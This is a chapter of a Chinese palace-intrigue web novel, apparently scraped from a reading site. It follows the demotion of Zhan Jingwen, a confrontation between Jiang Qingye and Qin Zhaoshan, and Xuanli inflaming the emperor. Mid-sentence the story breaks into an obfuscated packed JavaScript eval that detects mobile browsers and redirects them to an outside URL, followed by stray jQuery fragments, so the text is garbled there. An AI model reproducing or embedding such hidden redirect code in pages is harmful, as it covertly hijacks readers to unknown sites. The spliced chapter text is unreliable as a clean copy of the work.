默认冷灰
24号文字
方正启体

29.煽风点火

作者:不借春本书字数:K更新时间:
    明令七年,大相公将还任天章阁待制的詹璟文挪到开封府尹的位置上。


    汴京这地方,扔块石头都能砸到四五个贵戚,盘根错节,少算一节都能得罪人,大相公走这一步的心思昭然若揭。


    结果詹璟文不同一般酸腐儒生,在这位置上如鱼得水,各项事务都处理得井井有条。


    大相公一时反而奈何他不得。


    坏就坏在他将开封府的诸般琐事处理得太过游刃有余了,做好份内事时也没忘了向给他一记痛击的大相公还以颜色。


    詹璟文凭着从前被陛下信重的情分,进言于陛下,说大相公吕宿任人唯亲,卖官鬻爵,顺吕宿者生,逆吕宿者亡。


    更坏地是,他末了提了一句,陛下莫学汉成帝,被人蒙蔽而不自知。


    大娘娘隐在帘后,非军国大事不发声,已经被陛下视作蔽日大山,如眼中钉肉中刺,恨不能尽早剜去。


    更何况是这样直白谴责他色令智昏,昏聩无能的臣子。


    于是从前的君臣情谊尽数消弭在这一封奏折之上。


    陛下火冒三丈却无处发泄,想处置詹璟文却又没有正当理由。


    经有心人提醒,定了个越职言事和荐引朋党之罪。


    将与詹璟文同科取仕的至交好友一并列了出来御示百官。


    而犯首詹璟文,贬兖州知州。


    这一政令,在大朝会上一宣,引起了轩然大波。


    与詹璟文交好的臣子自不必提,台谏官员,清流之士皆上书直谏,请求官家收回成命。


    悬黎记得,与詹相公同为清流的好几位日后的朝中肱骨,都遭到了不同程度的贬谪,可见帝王雷霆之怒。


    包括那位简在帝心的韩相公和深受陛下喜爱的宋相公。


    被黜兖州的詹相公改知延州,也就是姜元帅如今所在之处。


    而原本的延州知州赖志忠,被挪到了庆州。


    基于这件事的结果,悬黎本不需要插手,她只需要静待即可。


    等调令下来,传信给北境,让姜元帅参赖志忠,彻底将赖志忠从知州的位置拉下来,押回京中受审。


    但恐防有变,悬黎还是决定去垂拱殿探探口风。


    朱帘翠幕一人捧一个甜瓜,正吃得津津有味。


    悬黎也不欲带着她们两个一同去垂拱殿受气,便自行进殿去请示大娘娘。


    进殿时,段氏姐妹正无声对峙,没有剑拔弩张,因为大娘娘单方面碾压自家幼妹。


    “姨母,”悬黎坐在大娘娘身边,冲她眨眨眼,“我的蹴鞠服被撕破没法穿了,你能不能再给悬黎做一身?”


    “好。”大娘娘接过悬黎递过来的茶,只是闻了闻茶香气,用她那双洞察一切的眼睛看向悬黎,“只是火浣布那样的料子,怎么会破呢?”


    悬黎将食指竖在唇上,狡黠地答:“您不想问。”


    “哀家为什么不想问?”其实不问也知道了,她知道地要比段瑛多上许多。


    “因为悬黎要去垂拱殿打探消息去了,您比较想知道这个。”


    大娘娘点点头,只嘱咐了一句,“凡事不必太忍让,尖利些也无妨。”


    悬黎捻了块澄沙团子,吃净了才同两位长辈告辞离开。


    段瑛黑着脸控诉:“你在与我女儿打什么哑谜?”


    大娘娘一口茶水噎在嘴里,不上不下。


    哪句话是哑谜?


    “我喜欢有话直说的人。”姜青野看着不请自来的秦照山,一点用朝食的心思都没有了。


    “昨日你见到我时,分明还没有这么大的敌意。”秦照山笑得妖魅,十分碍眼。


    秦照山吃光了姜青野的红丝馎饦。


    “段瑛阿姊带着元娘走了,连夜走的,你做什么了?”


    秦照山还要吃另一碗羊肉粉,被姜青野一筷子打开。


    秦照山手上红了一片,他浑不在意地揉了揉,“按理说咱们才应该是同病相怜的人,你何必当萧家的狗。”


    姜青野嗤一声,“谁乐意当萧家的狗,南疆女子千千万,二公子怎么不成婚生子呢?”


    之前见姜青野,虽然也不是个多温厚的郎君,倒还有些少年人的朝气,今日没有元娘在场,姜青野整个人身上都漫着淡淡的死气。


    于是他忍不住问了:“你平日那副样子都是装出来骗元娘的吗?”


    “秦家想与北境修好?”姜青野不乐意听他兜圈子,一句比一句直白,“秦家首鼠两端,还想拖北境下水,二公子,白日梦还是别做了。”


    前世秦家就态度暧昧,哪边都不得罪,周遭乱成什么样子都不肯出兵,打着谁笑到最后就投靠谁的主意。


    他瞧不上这样的人家。


    “渭宁的动作,小姜将军也不想知道了吗?”秦照山学悬黎,叫他小姜将军。


    姜青野神色一凛,眼光如钢刀一般把秦照山剐了一遍,“你如果只有这么个筹码,那就没聊下去的必要了。”


    秦照山耸耸肩,从姜青野手边的碟子里摸了个山海兜吃,“你应该不想元娘知道你私下里是这副样子吧!”


    姜青野手里的筷子擦着秦照山的脸颊飞过去,插进了他身后的柱子里。


    好好一根木筷,只剩半截露在外面。


    秦照山的脸颊一片火热,触手一片温热,他心下一冷,木筷子都能给他划出道口子来,北境可真是人才济济。


    还是姜元帅会教子。


    姜青野阴恻恻道:“你敢对悬黎多说一个字,这筷子会直接插进你嘴里,我不介意与秦家为敌,因为我会亲自送你那缩在龟壳里的兄长下去与你团聚。”


    秦照山识趣地闭了嘴,起身告辞,走到门口时,回头看他,“你真的是我在丰乐楼见过的那个小姜将军吗?”


    回应他的是姜青野手里的另一根筷子。


    姜青野的筷子都甩出去了,只剩一把勺,白瓷的勺,不自觉便想到了昨晚悬黎一勺一勺认真吃鱼的样子。


    八面玲珑的小郡主,一口一口地吃饭,有种笨拙质朴的可爱。


    大娘娘哄小姑娘,几瓶果子露就叫她以为自己酒量极好。


    一瓶罗浮春都扛不住。


    “我扛得住。”悬黎临行前这样安慰要与他同去的朱帘翠幕。


    但听着殿内时不时传出来的陛下的吼声,心里有些没底。


    她凝神去听,一双妙目也不忘往四周


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849327|172984||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    扫去,垂拱殿的荼靡落了,开败了的花不会留下碍陛下的眼,已经换了开得正盛的紫薇和木槿。


    满目花团锦簇,悬黎还能分神去想,希望思芃能看透看开。


    叫思芃放弃是有些强人所难了。


    正分神,垂拱殿的门开了,朱相公走了出来,高眉深目,神色尚好。


    朱庭徽,是大相公的副手,也是大相公择定的接班人,不为人知地是,他与詹璟文私交甚笃。


    重活一世也有一重不好,悬黎如今看这些人,生卒年仿佛都写在脑门上。


    她也不知该拿何种神色去看这位大人,略微低了低头。


    却听得朱大人说了一句,“殿下怕是要触霉头了。”


    悬黎诧异抬头望去,朱大人已经离开了,只留给悬黎一个背影。


    正好高德宝出来唤她:“郡主,陛下唤您进去呢。”


    高德宝笑得比哭也好不到哪儿去。


    看来这情形不太乐观。


    垂拱殿内一片凌乱,折子散落一地,陛下怒目金刚似的,看向悬黎的神色也极其不善。


    好似在说,你最好会说些让朕开心的话。


    “悬黎来请罪。”悬黎恭恭敬敬给陛下行礼,不等陛下询问,自己全部交代清楚,“昨日在蹴鞠场上,臣女一脚将小姜将军踢伤了,蹴鞠会没办下去,实在有负陛下所托。”


    踢伤了?


    陛下蹙起的眉头消下去些,一转念也不知想到什么,还颇为好说话地与悬黎有来有往,“也不算坏事,你留人休养,再登门致歉,一来二去,不就熟识了吗?”


    “怎么这也要朕教?”方才没撒出去的邪火,好像终于有了发泄的地方。


    手一抬就要指责。


    悬黎又行礼,“陛下,这恐怕不成了。”


    悬黎面露难色,委婉道:“大娘娘知道了这事,要给姜家一个交代,说要禁我的足,一早就将我召进宫来了。”


    寻常一句话,陛下却揣摩出了旁的意思,不过是无心之失,怎么大娘娘忙不迭地给姜青野出头?


    大娘娘向来是向着自家人,罚萧悬黎,这还是头一遭。


    陛下一个眼神,高德宝立刻捧了个凳子请悬黎坐,还给悬黎上了茶,看悬黎接过茶盏,陛下循循善诱,“太后只说了这个?”


    “也不只是这个,”御赐的茶,悬黎不能不喝,“大娘娘心绪不佳,说原本都好好地,赖卿也得用,偏我这头出了岔子,北境心中不定要结多少疙瘩。”


    “朕知道了。”陛下黑漆漆的眸子落在地面的折子上,不知在琢磨什么。


    高德宝见状,一份份地给拾起来摞好。


    悬黎见火候差不多了,缓缓开口说:“今日回宫的路上,听见道旁孩童都在念着一首诗,说是天章故国三千里,学士深宫二十年。殿院一声何满子,龙图双泪落君前。”


    不必询问,陛下自己便会多想,他听了这首诗,果然大怒,才被高德宝拾起来的折子,又被他一袖子扫了下去,“真是岂有此理!”


    “这是质疑朕的政令有误了?”说他赏罚不分,说他的朝堂吃人?


    “朝上离了他詹璟文,还能乱了套不成!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)